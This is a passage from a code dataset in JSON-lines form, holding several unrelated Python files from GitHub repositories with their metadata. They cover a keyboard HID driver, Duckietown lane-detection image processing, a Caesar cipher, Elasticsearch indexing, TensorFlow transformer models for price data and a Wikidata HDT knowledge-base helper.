self._device.find_output_reports()\n\n self._input = keyboardIn[0]\n self._output = keyboardOut[0]\n if self._callback: \n self._device.set_raw_data_handler(self._callback)\n\n @staticmethod\n def _findDevice(flash_mode):\n product_id = 0x1203 if flash_mode else 0x0203\n filter = hid.HidDeviceFilter(vendor_id = 0x04d9, product_id = product_id)\n hid_device = filter.get_devices()\n device = hid_device[0]\n device.open()\n return device\n\n def send_packets(self, packets):\n for packet in packets:\n self._send_packet(packet)\n\n def _send_packet(self, packet):\n self._output.set_raw_data([0] + list(packet.data))\n self._output.send()\n sleep(packet.delay)\n\n def close(self):\n if self._device:\n self._device.close()","repo_name":"crbednarz/shine6-tool","sub_path":"Shine6/keyboard.py","file_name":"keyboard.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"20382656139","text":"# CICS 503 Fall 2019 DuckieTown Group 4\n#\n# image_processing.py:\n# provides functions for computing\n# pixel error-margins from images\n# captured by our robot\n\nfrom config import *\nimport os\nimport PIL.Image as Image\nimport numpy as np\n\n\n# variables\ncrop_percentage = 0.05\ndown_sample_steps = 8\nmin_percentage_red_threshold = 0.5 # TODO: tune this value\n\nmin_percentage_green_threshold = 0.000 #TODO: tune this value\n\nDEBUG_IMAGE_PROCESSING = False\n\n\nparent_dir = os.path.dirname(os.getcwd())\nimage_path = os.path.join(parent_dir, 'test_road_images/')\n#image_path = os.path.join(parent_dir, 'test_road_images\\\\')\n\n\ndef is_yellow_vectorized(hsv_image):\n return (hsv_image[:,:,1] >= 50) & (30 <= hsv_image[:,:,0]) & (hsv_image[:,:,0] <= 50)\n\ndef is_white_vectorized(hsv_image):\n return (hsv_image[:,:,1] <= 50) & (hsv_image[:,:,2] >= 220)\n\ndef is_red_vectorized(hsv_image):\n return (hsv_image[:,:,1] >= 125) & (hsv_image[:,:,0] >= 240)\n\ndef is_green_vectorized(hsv_image):\n return (hsv_image[:,:,1] >= 50) & (hsv_image[:,:,2] >= 100) & (60 <= hsv_image[:,:,0]) & (hsv_image[:,:,0] <= 170)\n\n\n\ndef super_get_pixel_error_from_image(frame, hug):\n height, width, depth = frame.shape\n\n # crop a horizontal strip from the center\n rgb_strip = frame[height//2 + STRIP_LOCATION*int(height*crop_percentage):height//2+(STRIP_LOCATION + 2) * int(height*crop_percentage), ::down_sample_steps , :]\n\n # rgb_strip = frame[height//2 + STRIP_LOCATION*int(height*crop_percentage):height//2+(STRIP_LOCATION + 2) * int(height*crop_percentage), ::down_sample_steps , :]\n DOWNSAMPLE_NUM = 2\n # gLED_strip = frame[height//2::5, width//4:width-width//4:DOWNSAMPLE_NUM, :]\n # gLED_strip = frame[height//2::5, width//4:width-width//4:DOWNSAMPLE_NUM, :]\n gLED_strip = frame[height//2::1, width//4:width-width//4:1, :]\n \n # convert the strip to hsv\n hsv_strip = np.array(Image.fromarray(rgb_strip).convert('HSV'))\n gLED_strip_hsv = np.array(Image.fromarray(gLED_strip).convert('HSV'))\n\n white_mask = is_white_vectorized(hsv_strip)\n yellow_mask = is_yellow_vectorized(hsv_strip)\n red_mask = is_red_vectorized(hsv_strip)\n green_mask = is_green_vectorized(gLED_strip_hsv)\n\n\n\n if DEBUG_IMAGE_PROCESSING:\n yellow_strip = np.zeros((hsv_strip.shape[0],hsv_strip.shape[1]), dtype=hsv_strip.dtype)\n white_strip = np.zeros((hsv_strip.shape[0],hsv_strip.shape[1]), dtype=hsv_strip.dtype)\n red_strip = np.zeros((hsv_strip.shape[0],hsv_strip.shape[1]), dtype=hsv_strip.dtype)\n green_strip = np.zeros((gLED_strip_hsv.shape[0],gLED_strip_hsv.shape[1]), dtype=hsv_strip.dtype)\n\n # write images to files for debugging (turn off when not debugging)\n white_strip[white_mask] = 255\n yellow_strip[yellow_mask] = 255\n red_strip[red_mask] = 255\n green_strip[green_mask] = 255\n \n\n Image.fromarray(frame, 'RGB').convert('RGB').save(image_path + 'frame.jpg')\n Image.fromarray(rgb_strip, 'RGB').convert('RGB').save(image_path + 'rgb_strip.jpg')\n Image.fromarray(hsv_strip[:,:,0], 'L').convert('RGB').save(image_path + 'hsv_strip.jpg')\n Image.fromarray(white_strip, 'L').convert('RGB').save(image_path + 'white_strip.jpg')\n Image.fromarray(yellow_strip, 'L').convert('RGB').save(image_path + 'yellow_strip.jpg')\n Image.fromarray(red_strip, 'L').convert('RGB').save(image_path + 'red_strip.jpg')\n Image.fromarray(green_strip, 'L').convert('RGB').save(image_path + 'green_strip.jpg')\n Image.fromarray(gLED_strip, 'RGB').convert('RGB').save(image_path + 'gLED_strip.jpg')\n\n print(\"saved images to files\")\n\n\n\n# =============================================================================\n#\n# calculate the distance of lane center and image center\n# =============================================================================\n\n\n yel_col_sum = np.sum(yellow_mask, axis=0)\n yel_edge = len(yel_col_sum) - np.argmax(np.flipud(yel_col_sum)) - 1\n\n whi_col_sum = np.sum(white_mask, axis=0)\n whi_edge = np.argmax(whi_col_sum)\n\n percentage_white = np.sum(white_mask) / np.prod(white_mask.shape)\n percentage_yellow = np.sum(yellow_mask) / np.prod(yellow_mask.shape)\n percentage_red = np.sum(red_mask) / np.prod(red_mask.shape)\n percentage_green = np.sum(green_mask)/np.prod(green_mask.shape)\n \n saw_red = percentage_red > min_percentage_red_threshold\n saw_white = (whi_edge != 0) and percentage_white > 0.01\n saw_yellow = (yel_edge != len(yel_col_sum)-1) and percentage_yellow > 0.01\n\n # print(\"saw_white: {}\".format(saw_white))\n # print(\"saw_yellow: {}\".format(saw_yellow))\n\n if saw_red:\n # print(percentage_green)\n # saw_green = np.sum(green_mask) > 5\n saw_green = percentage_green > min_percentage_green_threshold\n\n if saw_green:\n green_strip = np.zeros((gLED_strip_hsv.shape[0],gLED_strip_hsv.shape[1]), dtype=hsv_strip.dtype)\n green_strip[green_mask] = 255\n Image.fromarray(green_strip, 'L').convert('RGB').save(image_path + 'test_green.jpg')\n Image.fromarray(gLED_strip, 'RGB').convert('RGB').save(image_path + 'test_green2.jpg')\n print(\"saved green images to files\")\n\n if DEBUG_INFO_ON:\n print(\"green: \" + str(saw_green) + \"; red: \" + str(saw_red))\n else:\n saw_green = False\n \n\n image_center = white_mask.shape[1] // 2\n\n # if hug == HUG_WHITE:\n # if saw_white:\n # lane_center = whi_edge - WHITE_OFFSET_PIX\n # elif not saw_white and saw_yellow:\n # lane_center = yel_edge + LANE_WIDTH_PIX - WHITE_OFFSET_PIX\n # else:\n # lane_center = image_center\n # else:\n # if saw_yellow:\n # lane_center = yel_edge + YELLOW_OFFSET_PIX\n # elif not saw_yellow and saw_white:\n # lane_center = whi_edge - LANE_WIDTH_PIX + YELLOW_OFFSET_PIX\n # else:\n # lane_center = image_center\n\n if hug == HUG_WHITE:\n if saw_white:\n lane_center = whi_edge - WHITE_OFFSET_PIX\n elif not saw_white and saw_yellow:\n lane_center = yel_edge + LANE_WIDTH_PIX - WHITE_OFFSET_PIX\n else:\n lane_center = image_center\n else:\n if saw_yellow:\n lane_center = yel_edge + YELLOW_OFFSET_PIX\n elif not saw_yellow and saw_white:\n lane_center = whi_edge - LANE_WIDTH_PIX + YELLOW_OFFSET_PIX\n else:\n lane_center = image_center\n\n error = lane_center - image_center\n\n return (error, saw_red, saw_green, yel_edge/rgb_strip.shape[1])\n\n\ndef get_pixel_error_from_image(frame, hug):\n a, b, c, _ = super_get_pixel_error_from_image(frame, hug)\n return a,b,c\n\n\nif __name__ == \"__main__\":\n DEBUG_IMAGE_PROCESSING = True\n\n import picamera, time\n with picamera.PiCamera() as camera:\n w, h = 640, 480\n camera.resolution = (w, h)\n camera.framerate = 24\n time.sleep(2)\n rgb_frame = np.empty((h, w, 3), dtype=np.uint8)\n camera.capture(rgb_frame, 'rgb')\n error, saw_red, saw_green = get_pixel_error_from_image(rgb_frame, TURN_DIRECTION)\n print(error, \"px error\")\n x = 2.6153846153846154\n print(\"PIX_PER_CM\", PIX_PER_CM)\n\n print(error / PIX_PER_CM, \"cm error\")\n\n","repo_name":"samjharris/duckie-av","sub_path":"pi/image_processing.py","file_name":"image_processing.py","file_ext":"py","file_size_in_byte":7312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28265598919","text":"import sys\n\n\nclass MainEncryption(object):\n\n def __init__(self):\n\n print(\"What text do you want to encrypt?\")\n self.encryptionText = str(input(\"> \"))\n print(\"What shift do you want?\")\n try:\n self.encryptionShift = int(input(\"Number: \"))\n except ValueError:\n print(\"That is not a number, try again!\")\n sys.exit(1)\n\n def encryption(self):\n\n self.lowerCaseAlphabet = \"abcdefghijklmnopqrstuvwxyzåäö\"\n self.upperCaseAlphabet = self.lowerCaseAlphabet.upper()\n self.cipher = \"\"\n\n for self.character in self.encryptionText:\n if self.character == \" \":\n self.cipher += self.character\n elif self.character.isupper():\n self.cipher += self.upperCaseAlphabet[(\n self.upperCaseAlphabet.index(self.character) - self.encryptionShift) % 29]\n elif self.character.islower():\n self.cipher += self.lowerCaseAlphabet[(\n self.lowerCaseAlphabet.index(self.character) - self.encryptionShift) % 29]\n else:\n print(\"ERROR.\")\n sys.exit(1)\n return self.cipher\n\n\nRun = MainEncryption()\nprint(\"Your encrypted text is: \" + Run.encryption())\n","repo_name":"FlatEarthGary/Mailbomber","sub_path":"Caesar_Encrypt/Caesar_Encrypt_v0.1.py","file_name":"Caesar_Encrypt_v0.1.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38764249221","text":"import time\n\nfrom worm import WormBase\n\nfrom mod import MOD\n\nworm = WormBase()\n\nmod = MOD()\n\nmods = [worm]\n\nfor m in mods:\n start_time = time.time()\n m.load_genes()\n print (\" --- %s seconds --- \" % (time.time() - start_time))\n\n# mod.load_homologs()\n\nfor m in mods:\n start_time = time.time()\n m.load_go()\n print (\" --- %s seconds --- \" % (time.time() - start_time))\n\nfor m in mods:\n start_time = time.time()\n m.load_diseases()\n print (\" --- %s seconds --- \" % (time.time() - start_time))\n\nmod.save_into_file()\n\nmod.delete_mapping()\nmod.put_mapping()\n\nmod.index_genes_into_es()\nmod.index_go_into_es()\nmod.index_diseases_into_es()\n","repo_name":"hitz/python-flask-es-test","sub_path":"scripts/elastic_search/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"12596698685","text":"import tensorflow as tf\n\nfrom fin.model import modeling\n\n\ndef _create_mask(qlen, mlen, dtype=tf.float32, same_length=False):\n \"\"\"create causal attention mask.\"\"\"\n attn_mask = tf.ones([qlen, qlen], dtype=dtype)\n mask_u = tf.matrix_band_part(attn_mask, 0, -1)\n mask_dia = tf.matrix_band_part(attn_mask, 0, 0)\n attn_mask_pad = tf.zeros([qlen, mlen], dtype=dtype)\n ret = tf.concat([attn_mask_pad, mask_u - mask_dia], 1)\n if same_length:\n mask_l = tf.matrix_band_part(attn_mask, -1, 0)\n ret = tf.concat([ret[:, :qlen] + mask_l - mask_dia, ret[:, qlen:]], 1)\n\n return ret\n\n\ndef price_mse_loss(x, y, mask=None):\n \"\"\"mask: 0 for pad, 1 for real value.\"\"\"\n squ = tf.square(x - y)\n sqr = tf.sqrt(squ)\n if mask is not None:\n sqr = sqr*mask\n _sum = tf.reduce_sum(sqr, axis=1)\n valid_value_num = tf.reduce_sum(mask, axis=1)\n loss = _sum / valid_value_num\n loss = tf.reduce_mean(loss)\n else:\n loss = tf.reduce_mean(sqr)\n\n return loss\n\n\ndef postnet(logits, d_model, initializer, act_fn=None, scope=\"postnet\", reuse=None):\n \"\"\"Process logits into single value.\n\n args:\n logits: shape [bsz, d_model] input tensor.\n d_model: the hidden size.\n\n return: shape [bsz].\n \"\"\"\n with tf.variable_scope(scope, reuse=reuse):\n act_w = tf.get_variable('act_weight', [d_model, d_model],\n dtype=tf.float32, initializer=initializer)\n act_b = tf.get_variable('act_bias', [d_model],\n dtype=tf.float32, initializer=initializer)\n\n logits = tf.einsum('bd,dv->bv', logits, act_w) + act_b\n\n if act_fn == \"tanh\":\n logits = tf.tanh(logits)\n elif act_fn == \"gelu\":\n logits = modeling.gelu(logits)\n else:\n logits = logits\n\n w = tf.get_variable('weight', [d_model, 1],\n dtype=tf.float32, initializer=initializer)\n b = tf.get_variable('bias', [1],\n dtype=tf.float32, initializer=initializer)\n\n value = tf.einsum('bd,dv->bv', logits, w) + b\n\n return value\n\n\ndef prenet(tensor_in, dim, initializer, act_fn=None, scope=\"prenet\", reuse=None):\n \"\"\"Process single value into multi dim vector.\n\n args:\n tensor_in: shape [bsz, num_value, 2] input tensor with negtive sign.\n dim: the size of vector.\n\n return: shape [bsz, num_value, dim]\n \"\"\"\n with tf.variable_scope(scope, reuse=reuse):\n l1_w = tf.get_variable('prenet_1', [2, dim],\n dtype=tf.float32, initializer=initializer)\n l1_b = tf.get_variable('prenet_1_bias', [dim],\n dtype=tf.float32, initializer=initializer)\n l2_w = tf.get_variable('prenet_2', [dim, dim],\n dtype=tf.float32, initializer=initializer)\n l2_b = tf.get_variable('prenet_2_bias', [dim],\n dtype=tf.float32, initializer=initializer)\n\n logits = tf.einsum('bvn,nd->bvd', tensor_in, l1_w) + l1_b\n logits = tf.einsum('bvd,di->bvi', logits, l2_w) + l2_b\n if act_fn == \"tanh\":\n output = tf.tanh(logits)\n elif act_fn == \"gelu\":\n output = modeling.gelu(logits)\n else:\n output = logits\n\n return output\n\n\ndef category_net(tensor_in, emb_dim, num_cate, initializer, scope=\"catenet\", reuse=None):\n \"\"\"Process category data into dim vector.\n\n args:\n tensor_in: int shape [bsz] input tensor.\n emb_dim: the size of vector.\n num_cate: number of category.\n\n return: shape [bsz, emb_dim]\n \"\"\"\n with tf.variable_scope(scope, reuse=reuse):\n emb_martix = tf.get_variable('emb_m', [num_cate, emb_dim],\n dtype=tf.float32, initializer=initializer)\n\n return tf.nn.embedding_lookup(emb_martix, tensor_in)\n\n\ndef transformer_xl_encoding_inp(inp_e, n_layer, d_model, n_head,\n d_head, d_inner, dropout, dropatt, attn_type,\n initializer, is_training,\n same_length=False, clamp_len=-1, untie_r=False,\n input_mask=None, seg_id=None, reuse_len=None,\n ff_activation='gelu',\n use_bfloat16=False, scope='transformer',\n pre_ln=False, **kwargs):\n \"\"\"\n With relative_positional_encoding.\n Defines a Transformer-XL computation graph with additional\n support for XLNet.\n\n Args:\n\n inp_k: int32 Tensor in shape [len, bsz], the input token IDs.\n seg_id: int32 Tensor in shape [len, bsz], the input segment IDs.\n input_mask: float32 Tensor in shape [len, bsz], the input mask.\n 0 for real tokens and 1 for padding.\n mems: a list of float32 Tensors in shape [mem_len, bsz, d_model], memory\n from previous batches. The length of the list equals n_layer.\n If None, no memory is used.\n perm_mask: float32 Tensor in shape [len, len, bsz].\n If perm_mask[i, j, k] = 0, i attend to j in batch k;\n if perm_mask[i, j, k] = 1, i does not attend to j in batch k.\n If None, each position attends to all the others.\n target_mapping: float32 Tensor in shape [num_predict, len, bsz].\n If target_mapping[i, j, k] = 1, the i-th predict in batch k is\n on the j-th token.\n Only used during pretraining for partial prediction.\n Set to None during finetuning.\n inp_q: float32 Tensor in shape [len, bsz].\n 1 for tokens with losses and 0 for tokens without losses.\n Only used during pretraining for two-stream attention.\n Set to None during finetuning.\n\n n_layer: int, the number of layers.\n d_model: int, the hidden size.\n n_head: int, the number of attention heads.\n d_head: int, the dimension size of each attention head.\n d_inner: int, the hidden size in feed-forward layers.\n ff_activation: str, \"relu\" or \"gelu\".\n untie_r: bool, whether to untie the biases in attention.\n n_token: int, the vocab size.\n\n is_training: bool, whether in training mode.\n use_tpu: bool, whether TPUs are used.\n use_bfloat16: bool, use bfloat16 instead of float32.\n dropout: float, dropout rate.\n dropatt: float, dropout rate on attention probabilities.\n init: str, the initialization scheme, either \"normal\" or \"uniform\".\n init_range: float, initialize the parameters with a uniform distribution\n in [-init_range, init_range]. Only effective when init=\"uniform\".\n init_std: float, initialize the parameters with a normal distribution\n with mean 0 and stddev init_std. Only effective when init=\"normal\".\n mem_len: int, the number of tokens to cache.\n reuse_len: int, the number of tokens in the currect batch to be cached\n and reused in the future.\n bi_data: bool, whether to use bidirectional input pipeline.\n Usually set to True during pretraining and False during finetuning.\n clamp_len: int, clamp all relative distances larger than clamp_len.\n -1 means no clamping.\n same_length: bool, whether to use the same attention length for each token.\n summary_type: str, \"last\", \"first\", \"mean\", or \"attn\". The method\n to pool the input to get a vector representation.\n initializer: A tf initializer.\n scope: scope name for the computation graph.\n \"\"\"\n tf_float = tf.bfloat16 if use_bfloat16 else tf.float32\n\n with tf.variable_scope(scope):\n if untie_r:\n r_w_bias = tf.get_variable('r_w_bias', [n_layer, n_head, d_head],\n dtype=tf_float, initializer=initializer)\n r_r_bias = tf.get_variable('r_r_bias', [n_layer, n_head, d_head],\n dtype=tf_float, initializer=initializer)\n else:\n r_w_bias = tf.get_variable('r_w_bias', [n_head, d_head],\n dtype=tf_float, initializer=initializer)\n r_r_bias = tf.get_variable('r_r_bias', [n_head, d_head],\n dtype=tf_float, initializer=initializer)\n\n bsz = tf.shape(inp_e)[1]\n qlen = tf.shape(inp_e)[0]\n mlen = 0\n klen = mlen + qlen\n\n # Attention mask\n # causal attention mask\n if attn_type == 'uni':\n attn_mask = _create_mask(qlen, mlen, tf_float, same_length)\n attn_mask = attn_mask[:, :, None, None]\n elif attn_type == 'bi':\n attn_mask = None\n else:\n raise ValueError('Unsupported attention type: {}'.format(attn_type))\n\n # data mask: input mask\n if input_mask is not None:\n data_mask = input_mask[None]\n else:\n data_mask = None\n\n if data_mask is not None:\n # all mems can be attended to\n if attn_mask is None:\n attn_mask = data_mask[:, :, :, None]\n else:\n attn_mask += data_mask[:, :, :, None]\n\n if attn_mask is not None:\n attn_mask = tf.cast(attn_mask > 0, dtype=tf_float)\n\n if attn_mask is not None:\n non_tgt_mask = -tf.eye(qlen, dtype=tf_float)\n non_tgt_mask = tf.concat([tf.zeros([qlen, mlen], dtype=tf_float),\n non_tgt_mask], axis=-1)\n non_tgt_mask = tf.cast((attn_mask + non_tgt_mask[:, :, None, None]) > 0,\n dtype=tf_float)\n else:\n non_tgt_mask = None\n\n output_h = inp_e\n\n # Segment embedding\n seg_mat = None\n\n # Positional encoding\n pos_emb = modeling.relative_positional_encoding(\n qlen, klen, d_model, clamp_len, attn_type, False,\n bsz=bsz, dtype=tf_float)\n pos_emb = tf.layers.dropout(pos_emb, dropout, training=is_training)\n\n # Attention layers\n mems = [None] * n_layer\n\n for i in range(n_layer):\n # not use seg\n # segment bias\n r_s_bias_i = None\n seg_embed_i = None\n\n with tf.variable_scope('layer_{}'.format(i)):\n if pre_ln:\n output_h = tf.contrib.layers.layer_norm(\n output_h, begin_norm_axis=-1, scope='LayerNorm')\n\n output_h = modeling.rel_multihead_attn(\n h=output_h,\n r=pos_emb,\n r_w_bias=r_w_bias if not untie_r else r_w_bias[i],\n r_r_bias=r_r_bias if not untie_r else r_r_bias[i],\n seg_mat=seg_mat,\n r_s_bias=r_s_bias_i,\n seg_embed=seg_embed_i,\n attn_mask=non_tgt_mask,\n mems=mems[i],\n d_model=d_model,\n n_head=n_head,\n d_head=d_head,\n dropout=dropout,\n dropatt=dropatt,\n is_training=is_training,\n kernel_initializer=initializer,\n reuse=None,\n pre_ln=pre_ln)\n\n output_h = modeling.positionwise_ffn(\n inp=output_h,\n d_model=d_model,\n d_inner=d_inner,\n dropout=dropout,\n kernel_initializer=initializer,\n activation_type=ff_activation,\n is_training=is_training,\n reuse=None,\n pre_ln=pre_ln)\n\n output = tf.layers.dropout(output_h, dropout, training=is_training)\n if pre_ln:\n output_h = tf.contrib.layers.layer_norm(\n output_h, begin_norm_axis=-1, scope='LayerNorm')\n\n return output\n\n\ndef transformer_encoding_inp(inp_e, n_token, n_layer, d_model, n_head,\n d_head, d_inner, dropout, dropatt, attn_type,\n bi_data, initializer, is_training,\n pos_len=None, mem_len=None, mems=None,\n same_length=False, clamp_len=-1, untie_r=False,\n use_tpu=True, input_mask=None,\n seg_id=None, reuse_len=None,\n ff_activation='gelu',\n use_bfloat16=False, scope='transformer',\n pre_ln=False, **kwargs):\n \"\"\"\n Without relative_positional_encoding.\n Defines a Transformer-XL computation graph with additional\n support for XLNet.\n\n Args:\n\n inp_e: float32 Tensor in shape [len, bsz, d_model], the input vector.\n seg_id: int32 Tensor in shape [len, bsz], the input segment IDs.\n input_mask: float32 Tensor in shape [len, bsz], the input mask.\n 0 for real tokens and 1 for padding.\n mems: a list of float32 Tensors in shape [mem_len, bsz, d_model], memory\n from previous batches. The length of the list equals n_layer.\n If None, no memory is used.\n perm_mask: float32 Tensor in shape [len, len, bsz].\n If perm_mask[i, j, k] = 0, i attend to j in batch k;\n if perm_mask[i, j, k] = 1, i does not attend to j in batch k.\n If None, each position attends to all the others.\n target_mapping: float32 Tensor in shape [num_predict, len, bsz].\n If target_mapping[i, j, k] = 1, the i-th predict in batch k is\n on the j-th token.\n Only used during pretraining for partial prediction.\n Set to None during finetuning.\n inp_q: float32 Tensor in shape [len, bsz].\n 1 for tokens with losses and 0 for tokens without losses.\n Only used during pretraining for two-stream attention.\n Set to None during finetuning.\n\n n_layer: int, the number of layers.\n d_model: int, the hidden size.\n n_head: int, the number of attention heads.\n d_head: int, the dimension size of each attention head.\n d_inner: int, the hidden size in feed-forward layers.\n ff_activation: str, \"relu\" or \"gelu\".\n untie_r: bool, whether to untie the biases in attention.\n n_token: int, the vocab size.\n\n is_training: bool, whether in training mode.\n use_tpu: bool, whether TPUs are used.\n use_bfloat16: bool, use bfloat16 instead of float32.\n dropout: float, dropout rate.\n dropatt: float, dropout rate on attention probabilities.\n init: str, the initialization scheme, either \"normal\" or \"uniform\".\n init_range: float, initialize the parameters with a uniform distribution\n in [-init_range, init_range]. Only effective when init=\"uniform\".\n init_std: float, initialize the parameters with a normal distribution\n with mean 0 and stddev init_std. Only effective when init=\"normal\".\n mem_len: int, the number of tokens to cache.\n reuse_len: int, the number of tokens in the currect batch to be cached\n and reused in the future.\n bi_data: bool, whether to use bidirectional input pipeline.\n Usually set to True during pretraining and False during finetuning.\n clamp_len: int, clamp all relative distances larger than clamp_len.\n -1 means no clamping.\n same_length: bool, whether to use the same attention length for each token.\n summary_type: str, \"last\", \"first\", \"mean\", or \"attn\". The method\n to pool the input to get a vector representation.\n initializer: A tf initializer.\n scope: scope name for the computation graph.\n pre_ln: bool, whether use pre-layer_norm.\n \"\"\"\n tf_float = tf.bfloat16 if use_bfloat16 else tf.float32\n\n with tf.variable_scope(scope):\n qlen = tf.shape(inp_e)[0]\n\n attn_mask = None\n\n # data mask: input mask\n if input_mask is None:\n data_mask = None\n else:\n data_mask = input_mask[None]\n if data_mask is not None:\n if attn_mask is None:\n attn_mask = data_mask[:, :, :, None]\n else:\n attn_mask += data_mask[:, :, :, None]\n\n if attn_mask is not None:\n attn_mask = tf.cast(attn_mask > 0, dtype=tf_float)\n\n # Position embedding\n if pos_len:\n pos_int = tf.range(qlen, dtype=tf.int32)\n pos_int = pos_int[:, None]\n pos_emb, lookup_table = modeling.embedding_lookup(\n x=pos_int,\n n_token=pos_len,\n d_embed=d_model,\n initializer=initializer,\n use_tpu=use_tpu,\n dtype=tf_float,\n scope='pos_embedding')\n pos_emb = tf.layers.dropout(pos_emb, dropout, training=is_training)\n\n output_h = inp_e + pos_emb\n else:\n output_h = inp_e\n\n # Attention layers\n for i in range(n_layer):\n with tf.variable_scope('layer_{}'.format(i)):\n if pre_ln:\n output_h = tf.contrib.layers.layer_norm(\n output_h, begin_norm_axis=-1, scope='LayerNorm')\n\n output_h = modeling.multihead_attn(\n output_h, output_h, output_h,\n attn_mask, d_model, n_head, d_head, dropout,\n dropatt, is_training, initializer, residual=True,\n scope='abs_attn', pre_ln=pre_ln, reuse=None)\n\n output_h = modeling.positionwise_ffn(\n inp=output_h,\n d_model=d_model,\n d_inner=d_inner,\n dropout=dropout,\n kernel_initializer=initializer,\n activation_type=ff_activation,\n is_training=is_training,\n reuse=None,\n pre_ln=pre_ln)\n\n output_h = tf.layers.dropout(output_h, dropout, training=is_training)\n if pre_ln:\n output_h = tf.contrib.layers.layer_norm(output_h, begin_norm_axis=-1,\n scope='LayerNorm_output')\n\n return output_h\n","repo_name":"blues-lin/fin-analyze","sub_path":"fin/model/fin_modeling.py","file_name":"fin_modeling.py","file_ext":"py","file_size_in_byte":18634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8103021408","text":"import pickle\nimport random\nimport re\nimport time\nfrom itertools import chain\n\n\nfrom hdt import HDTDocument\n\n\nclass KnowledgeBaseHDT:\n def __init__(self, path_to_hdt, path_to_kb_dicts, string_lib):\n self.ENT_PATTERN = re.compile(\"^Q[0-9]+$\")\n self.PRE_PATTERN = re.compile(\"^P[0-9]+$\")\n self.document = HDTDocument(path_to_hdt)\n self.string_lib = string_lib\n # load data\n try:\n with open(path_to_kb_dicts + \"/HIGHEST_ID.txt\", \"r\") as fp:\n HIGHEST_ID = fp.readline().strip()\n self.HIGHEST_ID = int(HIGHEST_ID)\n with open(path_to_kb_dicts + \"/inverse_entity_nodes.pickle\", \"rb\") as fp:\n self.inv_ents = pickle.load(fp)\n with open(path_to_kb_dicts + \"/inverse_pred_nodes.pickle\", \"rb\") as fp:\n self.inv_pres = pickle.load(fp)\n with open(path_to_kb_dicts + \"/inverse_literals.pickle\", \"rb\") as fp:\n self.inv_lits = pickle.load(fp)\n with open(path_to_kb_dicts + \"/labels.pickle\", \"rb\") as fp:\n self.labels_dict = pickle.load(fp)\n print(\"Dictionaries successfully loaded.\")\n except:\n raise Exception(\"Paths to dictionaries are invalid! You might have changed the names of the dictionaries!\")\n\n def item_to_single_label(self, item):\n if item is None:\n return \"None\"\n labels = self.labels_dict.get(item)\n if not labels:\n return \"None\"\n first_label = next(\n (label for label in labels if not (self.ENT_PATTERN.match(label) or self.PRE_PATTERN.match(label))),\n labels[0]\n )\n return first_label\n\n def _is_entity(self, integer_encoded_item):\n \"\"\"Return whether encoded item is entity.\"\"\"\n return integer_encoded_item >= 10000\n\n def _is_predicate(self, integer_encoded_item):\n \"\"\"Return whether encoded item is predicate.\"\"\"\n return integer_encoded_item > 0 and integer_encoded_item < 10000\n\n def _is_literal(self, integer_encoded_item):\n \"\"\"Return whether encoded item is literal.\"\"\"\n return integer_encoded_item < 0\n\n def _integer_to_item(self, integer_encoded_item):\n \"\"\"Decode the integer to the KB-item.\"\"\"\n if self._is_entity(integer_encoded_item):\n return self.inv_ents[integer_encoded_item - 10000]\n elif self._is_predicate(integer_encoded_item):\n return self.inv_pres[integer_encoded_item]\n elif self._is_literal(integer_encoded_item):\n return self.inv_lits[-integer_encoded_item]\n else:\n raise Exception(\"Failure in _integer_to_item with integer_encoded_item: \" + str(integer_encoded_item))\n\n def connectivity_check(self, item1, item2):\n ngb_facts_1 = self.get_neighborhood(item1)\n ngb_facts_2 = self.get_neighborhood(item2)\n ngb_items_1 = self._facts_to_item_set(ngb_facts_1)\n ngb_items_2 = self._facts_to_item_set(ngb_facts_2)\n if item1 in ngb_items_2:\n return 1.0\n intersection = ngb_items_1 & ngb_items_2\n res = [i for i in list(intersection) if i and i[0] != \"P\"]\n if res:\n return 0.5\n return 0\n\n def distance(self, item1, item2, depth=0):\n \"\"\"Compute the distance between the two items.\"\"\"\n if depth == 7: # fallback to avoid getting stuck in recursion\n return 7\n conn = self.connectivity_check(item1, item2)\n if conn == 1.0:\n return 1\n elif conn == 0.5:\n return 2\n ngb_facts_1 = self.get_neighborhood(item1)\n ngb_facts_2 = self.get_neighborhood(item2)\n ngb_items_1 = self._facts_to_item_set(ngb_facts_1)\n ngb_items_2 = self._facts_to_item_set(ngb_facts_2)\n if len(ngb_items_1) + len(ngb_items_2) == 0: return 0\n if len(ngb_items_1) < len(ngb_items_2):\n if len(ngb_items_1) > 0: \n return min([self.distance(item, item2, depth=depth+1) for item in ngb_items_1]) + 1\n else:\n return min([self.distance(item, item1, depth=depth+1) for item in ngb_items_2]) + 1\n else:\n if len(ngb_items_2) > 0:\n return min([self.distance(item, item1, depth=depth+1) for item in ngb_items_2]) + 1\n else:\n return min([self.distance(item, item2, depth=depth+1) for item in ngb_items_1]) + 1\n\n def get_frequency(self, item):\n entity = \"http://www.wikidata.org/entity/\" + item\n triples_sub, cardinality1 = self.document.search_triples(entity, \"\", \"\")\n triples_obj, cardinality2 = self.document.search_triples(\"\", \"\", entity)\n return [cardinality1, cardinality2]\n\n def get_neighborhood(self, item, p=1000, include_labels=False):\n ngb_facts = list()\n if not item:\n return ngb_facts\n if self.ENT_PATTERN.match(item):\n ngb_facts = self._query_hdt_library_with_qualifiers_entity(item)\n elif self.PRE_PATTERN.match(item):\n ngb_facts = self._query_hdt_library_with_qualifiers_predicate(item)\n else:\n return ngb_facts\n cleaned_ngb_facts = list()\n for fact in ngb_facts:\n \tcleaned_fact = [self.string_lib.wikidata_url_to_wikidata_id(item) for item in fact]\n \tcleaned_ngb_facts.append(cleaned_fact)\n return cleaned_ngb_facts\n\n def connect(self, item1, item2, hop=None):\n \"\"\"Return a list of 1-hop paths or 2-hop paths between the items.\"\"\"\n if not hop:\n hop = self.connectivity_check(item1, item2)\n if hop == 1:\n return self._find_connections_1_hop(item1, item2)\n elif hop == 0.5:\n return self._find_connections_2_hop(item1, item2)\n else:\n return None\n\n def _find_connections_1_hop(self, item1, item2):\n \"\"\"Return a list of facts with item1 and item2.\"\"\"\n neighborhood1 = self.get_neighborhood(item1)\n neighborhood2 = self.get_neighborhood(item2)\n len1 = 